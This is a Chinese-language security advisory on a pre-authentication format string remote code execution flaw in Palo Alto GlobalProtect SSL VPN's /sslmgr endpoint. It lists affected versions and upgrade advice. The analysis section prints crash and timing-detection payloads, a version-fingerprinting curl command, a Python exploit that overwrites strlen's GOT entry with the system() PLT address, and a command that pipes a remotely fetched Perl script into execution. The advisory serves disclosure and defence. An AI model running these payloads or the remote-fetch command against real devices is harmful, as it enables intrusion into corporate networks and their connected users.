漏洞预警|Palo Alto SSL VPN 远程代码执行高危漏洞
2019-07-18 15:32:12 Author: mp.weixin.qq.com(查看原文) 阅读量:113 收藏

漏洞描述

近日,山石网科安全应急响应中心(HSCERT)监测发现,Palo Alto GlobalProtect SSL VPN在/sslmgr下存在格式化字符串漏洞,存在远程代码执行风险。

Palo Alto GlobalProtect SSL VPN 是企业常用的SSL VPN产品,近期被公开了一个处于0day状态的远程代码执行漏洞。

漏洞分析

SSL VPN可以保护企业资产被黑客攻击,但是如果SSL VPN本身就有漏洞会怎么样?一旦SSL VPN服务器遭到入侵,攻击者就可以渗透到公司内网,甚至接管连接到SSL VPN服务器的所有用户!

Palo Alto将其SSL VPN产品线称为GlobalProtect,可以通过重定向到/global-protect/login.espWeb根目录识别是否是GlobalPortect服务。

这个漏洞是一个格式化字符串漏洞,无需身份验证的sslmgr是SSL网关处理在服务器和客户端之间的SSL握手文件,守护进程是由Nginx反向代理提供,可以通过路径访问到/sslmgr。

$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
        <clientcert-response>
                <status>error</status>
                <msg>Invalid parameters</msg>
        </clientcert-response>

在提取参数的时候,守护进程会搜索字符串scep-profile-name并将其值作为snprintf格式传递来填充缓冲区,这就会致格式化字符串攻击,可以使用%n是程序服务崩溃!

POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: 36

scep-profile-name=%n%n%n%n%n...

虽然知道了漏洞的位置,但是验证漏洞还是比较麻烦的,因为此格式字符串没有输出,因此无法获取任何泄漏地址来验证漏洞。

我们发现%c可以用于验证,当格式字符串之前有数字时,例如%9999999c,在snprintf内部重复相应的时间,就可以观察到大量重复的响应时间来用于验证此漏洞!

$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null
real    0m1.721s
user    0m0.037s
sys     0m0.005s
$ time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/null
real    0m2.051s
user    0m0.035s
sys     0m0.012s
$ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/null
real    0m5.324s
user    0m0.021s
sys     0m0.018s

响应时间随着%c的数量增加而增加。因此,从时间差就可以识别易受攻击的SSL VPN设备。

要成功利用此漏洞,需要首先确定详细版本,可以通过Last-Modified头进行区分。

例如:

/global-protect/portal/css/login.css     8.x版本

/images/logo_pan_158.gif                    7.x版本!

$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT

通过strlen函数将全局偏移表(GOT)上的指针修改为程序链接表(PLT),然后调用system。

验证PoC如下:

#!/usr/bin/python

import requests
from pwn import *

url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"

strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change me

fmt =  '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
    fmt += '%'+str(i)+'$p'

data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)

修改完成以后,sslmgr就变成了我们的webshell,可以通过以下方式执行命令:

$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr

得到的shell如下:

漏洞危害

高危

影响版本

影响版本列表:

  • Palo Alto GlobalProtect SSL VPN 7.1.x <7.1.19

  • Palo Alto GlobalProtect SSL VPN 8.0.x <8.0.12

  • Palo Alto GlobalProtect SSL VPN 8.1.x <8.1.3


9.x和7.0.x系列不受此漏洞的影响。

安全建议

1、升级Palo Alto GlobalProtect SSL VPN到 7.1.19, 8.0.12, 8.1.3

2、暂时关闭 /sslmgr路径对外开放

参考信息

https://aws.amazon.com/marketplace/pp/B00OC1T2D4?qid=1562269885823&sr=0-1&ref_=srh_res_product_title

https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html?m=1

https://devco.re/en/services/red-team

https://www.exploit-db.com/exploits/43342

https://linux.die.net/man/3/snprintf

如需帮助请咨询 [email protected]


文章来源: https://mp.weixin.qq.com/s/Ram1t61Wlq3cUvOVIEePpw
如有侵权请联系:admin#unsafe.sh